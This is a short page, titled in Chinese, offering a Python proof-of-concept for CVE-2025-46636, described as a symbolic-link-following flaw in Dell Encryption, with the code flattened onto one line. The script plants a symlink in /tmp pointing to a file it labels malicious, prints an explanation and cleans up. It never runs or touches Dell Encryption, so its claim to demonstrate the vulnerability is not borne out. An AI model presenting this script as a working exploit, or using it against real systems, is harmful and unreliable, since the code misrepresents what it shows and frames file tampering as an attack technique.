CVE-2025-46636 Dell Encryption 符号链接跟随漏洞

# CVE-2025-46636 PoC - Symbolic Link Following in Dell Encryption # This PoC demonstrates the symbolic link following vulnerability # Note: This is for educational and authorized testing purposes only import os import sys import time def create_symlink_poc(): """ Demonstrates the symbolic link following vulnerability in Dell Encryption versions prior to 11.12.1 """ target_file = "/etc/hosts" # Target for demonstration fake_target = "/tmp/fake_hosts_backup" link_path = "/tmp/dell_encryption_temp_link" print("CVE-2025-46636 Symbolic Link Following PoC") print("=" * 50) print(f"Target: {target_file}") print(f"Fake target: {fake_target}") print(f"Malicious symlink: {link_path}") print() # Create fake target file with malicious content with open(fake_target, 'w') as f: f.write("# Modified by CVE-2025-46636 exploit\n") f.write("127.0.0.1 localhost\n") f.write("# Malicious entry added\n") print(f"[+] Created fake target file: {fake_target}") # Remove existing symlink if present if os.path.exists(link_path): os.remove(link_path) # Create symbolic link pointing to fake target try: os.symlink(fake_target, link_path) print(f"[+] Created malicious symlink: {link_path} -> {fake_target}") except OSError as e: print(f"[-] Failed to create symlink: {e}") return False print("\n[!] Vulnerability Condition:") print(" When Dell Encryption processes files,") print(" it may follow this symlink and access the fake target") print(" instead of the intended file, leading to information tampering.") # Cleanup print("\n[*] Cleaning up test files...") if os.path.exists(fake_target): os.remove(fake_target) if os.path.exists(link_path): os.remove(link_path) print("[+] Cleanup complete") return True if __name__ == "__main__": print("WARNING: This PoC is for authorized security testing only!") print() create_symlink_poc()